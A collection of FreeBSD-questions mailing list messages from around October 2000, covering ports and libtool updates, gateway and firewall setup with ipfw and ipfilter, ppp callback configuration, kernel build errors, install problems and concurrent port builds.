  Your libtool installation is out of date. Please remove
  and reinstall /usr/ports/devel/libtool.

The code is in /usr/ports/Mk/bsd.port.mk.

> > > Other ports have simply installed
> > > multiple versions of the port.
> > Not really, other ports have _overwritten_ earlier versions of the
> > port without changing the package database. That, IMHO, is bad. I'd
> > rather be warned to remove the old and install the new than just
> > clobber the old with new.
> 
> No, "installed" is the correct word. The installed packages datebase
> is updated - both versions are listed in the database. It's very
> likely that installing an update version of one package will overwrite
> files in an older version, possibly even all of them.

I never meant that "install" was incorrect. What I meant to correct
was the idea that you will have "multiple versions" of the port
installed. In most cases, you will overwrite most of the files from
the previous version(s). You will have an intact entry in /var/db/pkg,
but the information in it is now corrupted in the sense that the files
it lists may now belong to the newer install, i.e. DO NOT pkg_delete
an old version after you have installed the new version, delete the
old one first. I've always hated when that happens.

> This is not
> restricted to ports that are updates of each other; two unrelated
> ports may install a binary with the same name.

Yeah, I 'spose that could happen. Never seen it happen yet.

> Just to confuse
> matters, some ports are designed so that having multiple versions
> around works correctly, with the last one installed being the
> "default" one.

Huh. I've seen it work unintentionally when a port changes
drastically between versions.

> As a final twist, if you remove an old version of a port and install a
> new one, you may break packages that are dependent on the old one
> unless you reinstall them after installing the new one.

Installing the new version without removing the old can break stuff
too. Sometimes maintaining legacy support while adding bleeding edge
software can be a pain, no?

> All of which was summarized in my original answer as "'updating' a
> port isn't something the ports system deals with very well.".

True. But I was just pointing out that I like the fact the effort was
put in to do some intelligent checks on the use libtool port. I think
that type of setup, warning the user and letting him determine how he
would like to proceed, is better than ports blindly installing and
quite probably overwriting previous versions.
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Bilti, Roland wrote to 'questions@FreeBSD.org':

> Hi, 

Hi, Roland.  This message is almost an exact copy of a message from you
dating back a few days describing the same problem.  I sent you a reply
(and posted it to the list).  Perhaps you did not receive it.  It has been
copied to the end of this message.  Please read it--it contains a lot of
information that still applies to your (only slightly modified) problem.

If you still have questions, we can take it from there, ok?  This is a
very large area of expertise, so you'll have to go one step at a time to
understand it. :-)

- Ryan


> 1. I have an server 5x86 133MHz, 16 ram and I intend to use freebsd to give
>  internet -i have an dedicated line- access to 30 clients (under win95) .
> The server have 4 network adapters( I use 4 adapters because we want to do
> this in a campus for 4
>  flours). I checked the documentation available on www.freebsd.org  but I
>  need some detailed instruction because I am a  beginner. Please send me an
>  email with some documentation for firewall rules and to  give access to
> internet with 4 network adapters.. I checked the pedantic ppp primer but is
> to hard for me.
> 2. How to configure the network adapters to comunicate (play games) for
> example : the PC from 1th flour with  pc from 2th flour
> Please tell me how to set the 4 network adapters.
> 
> Thank you in avans,
> 
>                       Rolland
> 
> 
> 
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Bilti, Roland wrote to 'freebsd-questions@freebsd.org':

> 
> > Hi,
> > 
> > I have an server 5x86 133MHz, 16 ram and I intend to use freebsd to give
> > internet access to 30 clients (under win95) . The server have 4 network
> > adapters( I use 4 adapters because we want to do this in a campus for 4
> > etajes). I checked the documentation available on www.freebsd.org  but I
> > need some detailed instruction because I am a  beginner. Please send me an
> > email with some documentation for firewall rules and to  give access to
> > internet with 4 network adapters.

Check out the O'Reilly book "Networking with TCP/IP".  If you can't find
it locally, I can fetch the ISBN, publication info, etc for you.  It
explains the processes, and many of the UNIX-centric procedures for
configuring networks.  Surf the local (or online) bookstores for other
networking titles.  You will want to read up on firewalls, too..  FreeBSD
comes with ipfw(8) in the base system, and that works for me... but you're
not limited to that.  There are other packages out there.  As far as
firewall rules are concerned, look at /etc/rc.firewall for an example, and
read ipfw(8) for syntax explanations.

What are "etajes"?  I am not familiar with the term.

In short, you may not need 4 network adapters, but assuming you do, you
will need to assign each network adapter a distinct subnet in your address
space (or assign local addresses to each).  If the subnets are on
non-octet boundaries (smaller than /24), you'll definitely want to read
about classless subnetting before attempting anything.

One of the network adapters will have to talk to your Internet uplink
(i.e., router).  Thus, your default route must go through one of the
adapters, to the uplink device's IP address, which should be on the same
subnet as the network adapter in question.  Call that network adapter 1.

You could have other hosts connected to the Ethernet of network adapter 1.  
(You already have two, the FreeBSD machine, and the router).  In this
configuration, this Ethernet is referred to as the DMZ (demilitarized
zone), as it is NOT protected by your FreeBSD gateway/firewall for
Internet access.  It is common to put some DNS or mail servers in the DMZ.

The other three network adapters should be placed on three different
Ethernets.  Your FreeBSD machine should provide routes to three different
(non-overlapping!) subnets.

So, your FreeBSD machine will be a gateway for all four subnets, and can
act as a firewall, proxy, etc, for all four subnets.  You better use good
hardware for your FreeBSD machine and have backups/replacements available,
as it now represents a single point of failure in your network design.

You will need to enable IPDIVERT and IPFIREWALL in your kernel.  Enabling
4 or so bpf's is almost a requirement nowadays.  I'd also recommend
increasing MAXUSERS a bit, depending on what sort of servers you plan to
run, and how much traffic you expect to flow through this machine.  If the
system is JUST going to be a gateway/firewall, and logs are exported to a
log server, you could probably get by with very small disk partitions.

Ok... That's enough on networking fundamentals, for now ;-)  Once you
decide on your network architecture, and formulate some specific FreeBSD
related questions, we can help you out with specific troubles.


> > Thank you in avans,
> > 
> >  Rolland
> 
> 
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Crist J . Clark writes:
> > While I may agree with you, libtool isn't doing it right. It fails to
> > build with strange messages, without telling you what's really
> > wrong.
> Hmmm, the message seems pretty straight forward to me,
> 
>   Your libtool installation is out of date. Please remove
>   and reinstall /usr/ports/devel/libtool.
> 
> The code is in /usr/ports/Mk/bsd.port.mk.

That's much better than what it did when I ran into this problem. Glad
to see it's been improved.

> > This is not
> > restricted to ports that are updates of each other; two unrelated
> > ports may install a binary with the same name.
> Yeah, I 'spose that could happen. Never seen it happen yet.

I've recently been involved in a case where a submitted port was going
to overwrite a binary from one of my ports. There may be an audit step
taken by the committers to prevent that from happening in general.

> > Just to confuse
> > matters, some ports are designed so that having multiple versions
> > around works correctly, with the last one installed being the
> > "default" one.
> Huh. I've seen it work unintentionally when a port changes
> drastically between versions.

The python port does it very nicely. The multiple gtk ports also do it
(though it could be argued that those are different ports, not
multiple versions of one port).

> > All of which was summarized in my original answer as "'updating' a
> > port isn't something the ports system deals with very well.".
> True. But I was just pointing out that I like the fact the effort was
> put in to do some intelligent checks on the use libtool port. I think
> that type of setup, warning the user and letting him determine how he
> would like to proceed, is better than ports blindly installing and
> quite probably overwriting previous versions.

As I mentioned, the warning wasn't there when I ran into this
problem. It wouldn't surprise me if this happens because someone ran
into that problem, and wanted to fix it. Unfortunately, as discussed
on a different thread about ports, the linkage between installed
packages and ports is tenuous, so doing this as a general thing is
hard. I supposed having the install phase check to see if any files
being installed already exist, and complaining in that case would do
the trick. However, that's a major change in the ports system, as it
currently uses the applications installation process.

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On Sun, 29 Oct 2000, Chris Browning wrote:

> 
> I picked up an extra low-end box and was just about to begin
> playing with ipf. I've been using ipfw for about 9 months
> and have been happy, but, you know...
> 
> If I'm not mistaken, I interpret this post as saying that I
> need the ipfw kernel options to run ipf. 

No.
For ipfilter only need:
options         IPFILTER                #ipfilter support
options         IPFILTER_LOG            #ipfilter logging

Also You may be want include: options IPFILTER_DEFAULT_BLOCK
This give You firewall that default blocking all packets arrive 
your all network interface. 
For more information about ipfilter see ipf-howto.txt on the site
http://www.obfuscation.org/ipf/

Best regards!
Sorry for my bad english!
Serge.

> I had assumed that
> only the ipf options were necessary. What's up here? I'm
> glad I ran across this.
> 
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> ------------------------
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Tony Johnson writes:
> Check /etc/make.conf.  Also check /etc/default for default make options.
> The cc/gcc programs control switches with program builds.  As far as
> experimenting with optimization and debugging options , don't do it.  I've
> done this and it has done nothing but made unbootable kernels and core
> dumping programs.

The flags for make in /usr/src are listed at the top of
/usr/src/Makefile.inc1. The one you want is -DNOCLEAN.

	<mike

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> 
> 
> Where is the documentation for the switches available for make buildworld?
> Specifically I'm looking for the one to prevent deleting /usr/obj, but in
> general it would be nice to know where they're all listed.
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Howdy,

I have been asked by my boss to set up cbcp so that we can counter
balance incoming calls. This is necessary to counter-act the latest
interconnect agreement between some major telecommunication companies.

It's extremely easy to do with windows, but freebsd seems to be a little
harder (believe me, this isn't my usual opinion). I have searched the
mailing list archive, man -k callback and man -k cbcp, read the cbcp
sections of the ppp manpage and looked over the sample ppp config files.

The log shows I get this far:

Oct 30 08:20:20 sammy ppp[19725]: tun0: Phase: Pap Output: username
********
Oct 30 08:20:21 sammy ppp[19725]: tun0: Phase: Pap Input: SUCCESS ()
Oct 30 08:20:21 sammy ppp[19725]: tun0: Phase: deflink: Shutdown and
await peer callback
Oct 30 08:20:21 sammy ppp[19725]: tun0: LCP: deflink: LayerDown
Oct 30 08:20:21 sammy ppp[19725]: tun0: LCP: deflink:
SendTerminateReq(4) state = Opened
Oct 30 08:20:21 sammy ppp[19725]: tun0: LCP: deflink: State change
Opened --> Closing
Oct 30 08:20:21 sammy ppp[19725]: tun0: LCP: deflink:
RecvTerminateReq(2) state = Closing
Oct 30 08:20:21 sammy ppp[19725]: tun0: LCP: deflink:
SendTerminateAck(2) state = Closing
Oct 30 08:20:21 sammy ppp[19725]: tun0: LCP: deflink:
RecvTerminateAck(4) state = Closing
Oct 30 08:20:21 sammy ppp[19725]: tun0: LCP: deflink: LayerFinish
Oct 30 08:20:21 sammy ppp[19725]: tun0: LCP: deflink: State change
Closing --> Closed
Oct 30 08:20:21 sammy ppp[19725]: tun0: LCP: deflink: State change
Closed --> Initial
Oct 30 08:20:21 sammy ppp[19725]: tun0: Phase: deflink: Disconnected!
Oct 30 08:20:21 sammy ppp[19725]: tun0: Phase: deflink: lcp -> logout
Oct 30 08:20:21 sammy ppp[19725]: tun0: Phase: deflink: logout -> hangup
Oct 30 08:20:21 sammy ppp[19725]: tun0: Phase: deflink: Disconnected!
Oct 30 08:20:21 sammy ppp[19725]: tun0: Phase: deflink: Connect time: 35
secs: 166 octets in, 291 octets out
Oct 30 08:20:21 sammy ppp[19725]: tun0: Phase: deflink: : 10 packets in,
14 packets out
Oct 30 08:20:21 sammy ppp[19725]: tun0: Phase:  total 13 bytes/sec, peak
87 bytes/sec on Mon Oct 30 08:20:21 2000
Oct 30 08:20:21 sammy ppp[19725]: tun0: Phase: deflink: hangup ->
opening
Oct 30 08:20:21 sammy ppp[19725]: tun0: Phase: deflink: Enter pause (60)
for redialing.
Oct 30 08:20:21 sammy ppp[19725]: tun0: Chat: deflink: Reconnect try 2
of 2
Oct 30 08:21:21 sammy ppp[19725]: tun0: Chat: deflink: Redial timer
expired.

As you can see, it just disconnects and wants to redial.

My ppp.conf is set as:

default:
 ident user-ppp VERSION (built COMPILATIONDATE)

 set device /dev/cuaa0

 set log Phase CBCP Chat LCP IPCP CCP tun command
 set speed 115200
 set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \
           \"\" AT OK-AT-OK ATE1Q0M0 OK \\dATDT\\T TIMEOUT 40 CONNECT"
 set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0
# set timeout 120                       # 3 mintue idle timer (the
default)
 add default HISADDR                    # Add a (sticky) default route
 enable dns                             # request DNS info (for
resolv.conf)

papchap:
# enable chap
 set reconnect 60 2
 set redial 60
 set callback auth cbcp
# e.164 mynumber
# set cbcp *
 set phone 123456
 set authname username
 set authkey password

As you can se I've tried a few different options, I still don't know if
I'm heading in the right direction. A thread on the mailing list said
that it doesn't actually work.

If somebody could help me out and show me to the finish line, it would
be _greatly_ appreciated.

Cheers

Sarton O'Brien (could any answers please be cced to this address,
thanks)


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welp, i still get the same problem even after moving /usr and in fact when i
did a cvsup ports i get the error too!

is this 4.1-R stuff doing it?  bad copy? or just my hd?


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> Hi.  I'm doing make world and after an hour of compiling I got the
following
> error message on my console:
>
> ad0: WRITE command timeout - resetting
> ata0: resetting device .. device disappeared! 1 ata0 - master: timeout
> writing to give commands: C6 S=80 e=00
>
>
> I initial diagnosis is because my /usr is on the innermost part (as in
> nearer the spindle) of my hd. so what i did is reinstalled and made sure
my
> /usr is somewhere in the middle of my hd.
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> is my analysis right?
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I'm working with the 4.1 version of FreeBSD (August 2000) and I'm going
to install it on my notebook pc. The configuration is as follow:

1) P54 150MHz
2) 32 MB Ram
3) 10x CDROM
4) Opti-Based chipset
5) 6GB HD, divided between Linux and FreeBSD; FreeBSD is located in a
2GB partition under the top (from 4 to 5.9MB + 0.1 MB swap area)

My problem is as follow: the installation begin (I can't boot directly
from the CD so I have built  the kernel and the mfs floppy), I choose
the partitions, the distribution I like to install, the Source media
(Atapi CD-ROM); the installer start to work but it is unable to finish
the installation; almost randomly the installer stops leaving the PC in
a frozen state. 

1) The CD I used is ok; I have installed it on other PC without any
problems;
2) The Notebook HD/CD seems to work weel; I have installed Linux in
another partition without any problems;
3) I tried to disable Block-Mode and 32 Bit-Mode; the installation seem
to go better, but it stop anyway, in the same state;
4) I tried to re-masterize the CD-ROM, without any results;
5) The kernel configuration show 8 conflict at startup; they are due to
the network driver I have removed; no conflict appear at the top of the
screen;
6) The disk geometry is the same disk I see under Linux in LBA mode
(730/255/63); 
7) I tried to remove the PCMCIA cards from the slots, without any
results;
8) the log windows does not write anything interesting; it froze during
listing all the binaries that are going to be installed on the HD (for
example, it stops sayng /bin/mv -> without any error)

Can someone, please, help me ? Do you have any suggestion ? Thank you
very much for your help.


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Well, I'm new to FreeBSD and I'm trying to compile a custom kernel for the
first time.  I just recently did a cvsup and built the world, which went
smoothly.  Now I was running 'make buildkernel' and it failed.  Here
is what the failure looks like:

linking kernel
umass.o: In function `umass_cam_attach_sim':
umass.o(.text+0x1257): undefined reference to `cam_simq_alloc'
umass.o(.text+0x127d): undefined reference to `cam_sim_alloc'
umass.o(.text+0x1296): undefined reference to `xpt_bus_register'
umass.o(.text+0x12a6): undefined reference to `cam_simq_free'
umass.o: In function `umass_cam_rescan_callback':
umass.o(.text+0x12bf): undefined reference to `xpt_free_path'
umass.o: In function `umass_cam_rescan':
umass.o(.text+0x1309): undefined reference to `xpt_periph'
umass.o(.text+0x1312): undefined reference to `xpt_create_path'
umass.o(.text+0x1325): undefined reference to `xpt_setup_ccb'
umass.o(.text+0x1340): undefined reference to `xpt_action'
umass.o: In function `umass_cam_detach_sim':
umass.o(.text+0x13f7): undefined reference to `xpt_bus_deregister'
umass.o(.text+0x1415): undefined reference to `cam_sim_free'
umass.o: In function `umass_cam_detach':
umass.o(.text+0x1456): undefined reference to `xpt_create_path'
umass.o(.text+0x1477): undefined reference to `xpt_async'
umass.o(.text+0x147f): undefined reference to `xpt_free_path'
umass.o: In function `umass_cam_action':
umass.o(.text+0x179d): undefined reference to `xpt_done'
umass.o(.text+0x17ad): undefined reference to `xpt_done'
umass.o: In function `umass_cam_cb':
umass.o(.text+0x18a1): undefined reference to `xpt_done'
umass.o: In function `umass_cam_sense_cb':
umass.o(.text+0x1918): undefined reference to `xpt_done'
umass.o(.text+0x1929): undefined reference to `xpt_done'
*** Error code 1

Stop in /usr/obj/usr/src/sys/TSHARK103000.
*** Error code 1

Stop in /usr/src.
*** Error code 1

Stop in /usr/src.

...and here is my kernel configuration file (TSHARK103000):

machine		i386
cpu		I686_CPU
ident	 	TSHARK103000	
maxusers	32

#makeoptions	DEBUG=-g		#Build kernel with gdb(1) debug
symbols

#options 	MATH_EMULATE		#Support for x87 emulation
options 	INET			#InterNETworking
options 	INET6			#IPv6 communications protocols
options 	FFS			#Berkeley Fast Filesystem
options 	FFS_ROOT		#FFS usable as root device [keep
this!]
options 	SOFTUPDATES		#Enable FFS soft updates support
options 	MFS			#Memory Filesystem
options 	MD_ROOT			#MD is a potential root device
options 	NFS			#Network Filesystem
options 	NFS_ROOT		#NFS usable as root device, NFS
required
#options 	MSDOSFS			#MSDOS Filesystem
options 	CD9660			#ISO 9660 Filesystem
options 	CD9660_ROOT		#CD-ROM usable as root, CD9660
required
options 	PROCFS			#Process filesystem
options 	COMPAT_43		#Compatible with BSD 4.3 [KEEP
THIS!]
options 	SCSI_DELAY=15000	#Delay (in ms) before probing SCSI
options 	UCONSOLE		#Allow users to grab the console
options 	USERCONFIG		#boot -c editor
options 	VISUAL_USERCONFIG	#visual boot -c editor
options 	KTRACE			#ktrace(1) support
options 	SYSVSHM			#SYSV-style shared memory
options 	SYSVMSG			#SYSV-style message queues
options 	SYSVSEM			#SYSV-style semaphores
options 	P1003_1B		#Posix P1003_1B real-time
extensions
options 	_KPOSIX_PRIORITY_SCHEDULING
options		ICMP_BANDLIM		#Rate limit bad replies
options 	KBD_INSTALL_CDEV	# install a CDEV entry in /dev

# To make an SMP kernel, the next two are needed
#options 	SMP			# Symmetric MultiProcessor Kernel
#options 	APIC_IO			# Symmetric (APIC) I/O
# Optionally these may need tweaked, (defaults shown):
#options 	NCPU=2			# number of CPUs
#options 	NBUS=4			# number of busses
#options 	NAPIC=1			# number of IO APICs
#options 	NINTR=24		# number of INTs

device		isa
#device		eisa
device		pci

# Floppy drives
#device		fdc0	at isa? port IO_FD1 irq 6 drq 2
device		fd0	at fdc0 drive 0
#device		fd1	at fdc0 drive 1

# ATA and ATAPI devices
device		ata0	at isa? port IO_WD1 irq 14
device		ata1	at isa? port IO_WD2 irq 15
device		ata
device		atadisk			# ATA disk drives
device		atapicd			# ATAPI CDROM drives
device		atapifd			# ATAPI floppy drives
device		atapist			# ATAPI tape drives
options 	ATA_STATIC_ID		#Static device numbering
#options 	ATA_ENABLE_ATAPI_DMA	#Enable DMA on ATAPI devices

# SCSI Controllers
#device		ahb		# EISA AHA1742 family
#device		ahc		# AHA2940 and onboard AIC7xxx devices
#device		amd		# AMD 53C974 (Teckram DC-390(T))
#device		isp		# Qlogic family
#device		ncr		# NCR/Symbios Logic
#device		sym		# NCR/Symbios Logic (newer chipsets)
#options		SYM_SETUP_LP_PROBE_MAP=0x40
				# Allow ncr to attach legacy NCR devices
when 
				# both sym and ncr are configured

#device		adv0	at isa?
#device		adw
#device		bt0	at isa?
#device		aha0	at isa?
#device		aic0	at isa?

# SCSI peripherals
#device		scbus		# SCSI bus (required)
#device		da		# Direct Access (disks)
#device		sa		# Sequential Access (tape etc)
#device		cd		# CD
#device		pass		# Passthrough device (direct SCSI access)

# RAID controllers interfaced to the SCSI subsystem
#device		asr		# DPT SmartRAID V, VI and Adaptec SCSI
RAID
#device		dpt		# DPT Smartcache - See LINT for options!

# RAID controllers
#device		ida		# Compaq Smart RAID
#device		amr		# AMI MegaRAID
#device		mlx		# Mylex DAC960 family
#device		twe		# 3ware Escalade

# atkbdc0 controls both the keyboard and the PS/2 mouse
device		atkbdc0	at isa? port IO_KBD
device		atkbd0	at atkbdc? irq 1 flags 0x1
device		psm0	at atkbdc? irq 12

device		vga0	at isa?

# splash screen/screen saver
pseudo-device	splash

# syscons is the default console driver, resembling an SCO console
device		sc0	at isa? flags 0x100

# Enable this and PCVT_FREEBSD for pcvt vt220 compatible console driver
#device		vt0	at isa?
#options 	XSERVER			# support for X server on a vt
console
#options 	FAT_CURSOR		# start with block cursor
# If you have a ThinkPAD, uncomment this along with the rest of the PCVT
lines
#options 	PCVT_SCANSET=2		# IBM keyboards are non-std

# Floating point support - do not disable.
device		npx0	at nexus? port IO_NPX irq 13

# Power management support (see LINT for more options)
device		apm0    at nexus? disable flags 0x20 # Advanced Power
Management

# PCCARD (PCMCIA) support
#device		card
#device		pcic0	at isa? irq 10 port 0x3e0 iomem 0xd0000
#device		pcic1	at isa? irq 11 port 0x3e2 iomem 0xd4000 disable

# Serial (COM) ports
device		sio0	at isa? port IO_COM1 flags 0x10 irq 4
device		sio1	at isa? port IO_COM2 irq 3
device		sio2	at isa? disable port IO_COM3 irq 5
device		sio3	at isa? disable port IO_COM4 irq 9

# Parallel port
device		ppc0	at isa? irq 7
device		ppbus		# Parallel port bus (required)
device		lpt		# Printer
#device		plip		# TCP/IP over parallel
#device		ppi		# Parallel port interface device
#device		vpo		# Requires scbus and da


# PCI Ethernet NICs.
#device		de		# DEC/Intel DC21x4x (``Tulip'')
#device		fxp		# Intel EtherExpress PRO/100B (82557,
82558)
#device		tx		# SMC 9432TX (83c170 ``EPIC'')
#device		vx		# 3Com 3c590, 3c595 (``Vortex'')
#device		wx		# Intel Gigabit Ethernet Card
(``Wiseman'')

# PCI Ethernet NICs that use the common MII bus controller code.
device		miibus		# MII bus support
device		dc		# DEC/Intel 21143 and various workalikes
#device		rl		# RealTek 8129/8139
#device		sf		# Adaptec AIC-6915 (``Starfire'')
#device		sis		# Silicon Integrated Systems SiS 900/SiS
7016
#device		ste		# Sundance ST201 (D-Link DFE-550TX)
#device		tl		# Texas Instruments ThunderLAN
#device		vr		# VIA Rhine, Rhine II
#device		wb		# Winbond W89C840F
#device		xl		# 3Com 3c90x (``Boomerang'', ``Cyclone'')

# ISA Ethernet NICs.
#device		ed0	at isa? port 0x280 irq 10 iomem 0xd8000
#device		ex
#device		ep
#device		fe0	at isa? port 0x300
# WaveLAN/IEEE 802.11 wireless NICs. Note: the WaveLAN/IEEE really
# exists only as a PCMCIA device, so there is no ISA attatement needed
# and resources will always be dynamically assigned by the pccard code.
#device		wi
# Aironet 4500/4800 802.11 wireless NICs. Note: the declaration below will
# work for PCMCIA and PCI cards, as well as ISA cards set to ISA PnP
# mode (the factory default). If you set the switches on your ISA
# card for a manually chosen I/O address and IRQ, you must specify
# those paremeters here.
#device		an
# Xircom Ethernet
#device		xe
# The probe order of these is presently determined by
i386/isa/isa_compat.c.
#device		ie0	at isa? port 0x300 irq 10 iomem 0xd0000
#device		le0	at isa? port 0x300 irq 5 iomem 0xd0000
#device		lnc0	at isa? port 0x280 irq 10 drq 0
#device		cs0	at isa? port 0x300
#device		sn0	at isa? port 0x300 irq 10

# Pseudo devices - the number indicates how many units to allocated.
pseudo-device	loop		# Network loopback
pseudo-device	ether		# Ethernet support
#pseudo-device	sl	1	# Kernel SLIP
pseudo-device	ppp	1	# Kernel PPP
pseudo-device	tun		# Packet tunnel.
pseudo-device	pty		# Pseudo-ttys (telnet etc)
pseudo-device	md		# Memory "disks"
pseudo-device	gif	4	# IPv6 and IPv4 tunneling
pseudo-device	faith	1	# IPv6-to-IPv4 relaying (translation)

# The `bpf' pseudo-device enables the Berkeley Packet Filter.
# Be aware of the administrative consequences of enabling this!
pseudo-device	bpf		#Berkeley packet filter

# USB support
device		uhci		# UHCI PCI->USB interface
device		ohci		# OHCI PCI->USB interface
device		usb		# USB Bus (required)
device		ugen		# Generic
device		uhid		# "Human Interface Devices"
device		ukbd		# Keyboard
device		ulpt		# Printer
device		umass		# Disks/Mass storage - Requires scbus and
da
device		ums		# Mouse
# USB Ethernet, requires mii
#device		aue		# ADMtek USB ethernet
#device		cue		# CATC USB ethernet
#device		kue		# Kawasaki LSI USB ethernet

#My try at AWE64
device		pcm
#device		sbc
#device		joy0	at isa? port IO_GAME


Any help would be appreciated.

Regards,

Brett Gianpetro
brettg@whatupg.com



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I install FreeBSD 4.0 on my machine, but I get a read error when I try to boot
it. I also installed Debian GNU/Linux on it and try to use lilo to boot FreeBSD
but again I get read error.

If someone can help me...


Thanks in advance.

Jesus Arnaiz.



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We might be able to help you figure out what you may have done wrong
>>if you gave us some details on what you did. Some things that would
>>help there:
>>
>>  $ cat /etc/rc.conf
>>  $ fgrep 'IP packet filtering' /var/run/dmesg.boot
>>  $ ifconfig -a
>>  $ ipfw show
>>
>>If you have a natd.conf file,
>>
>>  $ cat natd.conf
>>
>>If you have made a custom firewall script (the distributed rc.firewall
>>script should work out of the box with natd(8) and an "OPEN" setting),
>>please include that.
>>--
>>Crist J. Clark                           cjclark@alum.mit.edu


Here are the informations you need to help me:

  $ cat /etc/rc.conf

# This file now contains just the overrides from /etc/defaults/rc.conf
# please make all changes to this file.

keymap="german.iso"
gateway_enable="YES"
hostname="dowee.com"
firewall_enable="YES"
firewall_type="OPEN"
natd_interface="xl0"
natd_enable="YES"
ifconfig_xl0="DHCP"
ifconfig_xl0_alias0="inet 192.0.0.1 netmask 255.255.255.0"

  $ fgrep 'IP packet filtering' /var/run/dmesg.boot

IP packet filtering initialized, divert enabled, rule-based forwarding
disabled,
 default to deny, logging disabled

  $ ifconfig -a

xl0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        inet6 fe80::250:4ff:fe4d:3695%xl0 prefixlen 64 scopeid 0x1
        inet 212.186.196.204 netmask 0xffffff00 broadcast 212.186.196.255
        inet 192.0.0.1 netmask 0xffffff00 broadcast 192.0.0.255
        ether 00:50:04:4d:36:95
        media: 10baseT/UTP (10baseT/UTP <half-duplex>)
        supported media: 10baseT/UTP <full-duplex> 10baseT/UTP <half-duplex>
10b
aseT/UTP
lp0: flags=8810<POINTOPOINT,SIMPLEX,MULTICAST> mtu 1500
sl0: flags=c010<POINTOPOINT,LINK2,MULTICAST> mtu 552
ppp0: flags=8010<POINTOPOINT,MULTICAST> mtu 1500
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
        inet6 fe80::1%lo0 prefixlen 64 scopeid 0x5
        inet6 ::1 prefixlen 128
        inet 127.0.0.1 netmask 0xff000000
gif0: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
        inet6 fe80::250:4ff:fe4d:3695%gif0 prefixlen 64 scopeid 0x6
gif1: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
        inet6 fe80::250:4ff:fe4d:3695%gif1 prefixlen 64 scopeid 0x7
gif2: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
        inet6 fe80::250:4ff:fe4d:3695%gif2 prefixlen 64 scopeid 0x8
gif3: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
        inet6 fe80::250:4ff:fe4d:3695%gif3 prefixlen 64 scopeid 0x9
stf0: flags=8000<MULTICAST> mtu 1280
        inet6 fe80::250:4ff:fe4d:3695%stf0 prefixlen 64 scopeid 0xa
faith0: flags=8000<MULTICAST> mtu 1500

  $ ipfw show

00100 3064 945994 divert 8668 ip from any to any via xl0
00100    0      0 allow ip from any to any via lo0
00200    0      0 deny ip from any to 127.0.0.0/8
65000 3064 945994 allow ip from any to any
65535    2    656 deny ip from any to any

Hope the information tells you what i've done wrong (-:

Thanks,
Daniel



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Imho it should be more safe.
Even concurrent builds in the same directory should work better -- one
should notice the other and either wait or abort.

 ..Jay

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To: jay.krell@cornell.edu <jay.krell@cornell.edu>
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>jay.krell@cornell.edu writes:
>> This has been bugging me a while. I've always just avoided it.
>> Is it safe to
>>     cd /usr/ports/1/2
>>     make install &
>>     cd /usr/ports/3/4
>>     make install
>> ?
>
>Mostly it's safe.
>
>> if both go to like register the package at about the same time, will the
>> package database stay not corrupted?
>
>The "packages database" is a collection of flat text files. You only
>get into problems if you try writing to the same one at the same time.
>
>> I'm assuming both have all their dependents installed or they share no
>> dependents -- to avoid the question of building in the same directory at
the
>> sam etime.
>
>*That's* the real problem: dependencies. If both ports depend on the
>same third package, and they both start writing on the +REQUIRED_BY
>file at the same time, it could mess up that file. On the other hand -
>that's not a major breakage; it just means that you don't get warned
>about all the dependencies when you remove the third package. As
>opposed to what happens when the two makes start trying to build the
>same package, which tends to break that build.
>
>If no package in system is directly required by more than one unbuilt
>package in the tree of dependents, you will be safe. Given that all
>the dependents of the two ports are built, this means that no package
>is directly required by both ports.
>
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jay.krell@cornell.edu types:
> Imho it should be more safe.
> Even concurrent builds in the same directory should work better -- one
> should notice the other and either wait or abort.

Well, once you patch the files in /usr/ports/Mk to do that, use
send-pr to submit them.

	<mike

>  ..Jay
> 
> -----Original Message-----
> From: Mike Meyer <mwm@mired.org>
> To: jay.krell@cornell.edu <jay.krell@cornell.edu>
> Cc: questions@freebsd.org <questions@freebsd.org>
> Date: Sunday, October 29, 2000 11:31 AM
> Subject: Re: make install multiprocess safe?
> 
> 
> >jay.krell@cornell.edu writes:
> >> This has been bugging me a while. I've always just avoided it.
> >> Is it safe to
> >>     cd /usr/ports/1/2
> >>     make install &
> >>     cd /usr/ports/3/4
> >>     make install
> >> ?
> >
> >Mostly it's safe.
> >
> >> if both go to like register the package at about the same time, will the
> >> package database stay not corrupted?
> >
> >The "packages database" is a collection of flat text files. You only
> >get into problems if you try writing to the same one at the same time.
> >
> >> I'm assuming both have all their dependents installed or they share no
> >> dependents -- to avoid the question of building in the same directory at
> the
> >> sam etime.
> >
> >*That's* the real problem: dependencies. If both ports depend on the
> >same third package, and they both start writing on the +REQUIRED_BY
> >file at the same time, it could mess up that file. On the other hand -
> >that's not a major breakage; it just means that you don't get warned
> >about all the dependencies when you remove the third package. As
> >opposed to what happens when the two makes start trying to build the
> >same package, which tends to break that build.
> >
> >If no package in system is directly required by more than one unbuilt
> >package in the tree of dependents, you will be safe. Given that all
> >the dependents of the two ports are built, this means that no package
> >is directly required by both ports.
> >
> > <mike
> 
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On Mon, Oct 30, 2000 at 01:47:36AM -0800, Orion Slevin wrote:
> 
> It takes emacs a long time to start up on freebsd. Its been
> like that for every release (for me at least). What can I do
> to fix it?
>
> Any help is much appreciated. Thanks

Get more memory, perhaps?  Emacs is a somewhat heavy program.  You might
be running short on memory, and it takes ages to load.

- giorgos


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I'm still a while away from understanding that stuff.. maybe if it was C or
C++..

 - Jay

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>jay.krell@cornell.edu types:
>> Imho it should be more safe.
>> Even concurrent builds in the same directory should work better -- one
>> should notice the other and either wait or abort.
>
>Well, once you patch the files in /usr/ports/Mk to do that, use
>send-pr to submit them.
>
> <mike
>
>>  ..Jay
>>
>> -----Original Message-----
>> From: Mike Meyer <mwm@mired.org>
>> To: jay.krell@cornell.edu <jay.krell@cornell.edu>
>> Cc: questions@freebsd.org <questions@freebsd.org>
>> Date: Sunday, October 29, 2000 11:31 AM
>> Subject: Re: make install multiprocess safe?
>>
>>
>> >jay.krell@cornell.edu writes:
>> >> This has been bugging me a while. I've always just avoided it.
>> >> Is it safe to
>> >>     cd /usr/ports/1/2
>> >>     make install &
>> >>     cd /usr/ports/3/4
>> >>     make install
>> >> ?
>> >
>> >Mostly it's safe.
>> >
>> >> if both go to like register the package at about the same time, will
the
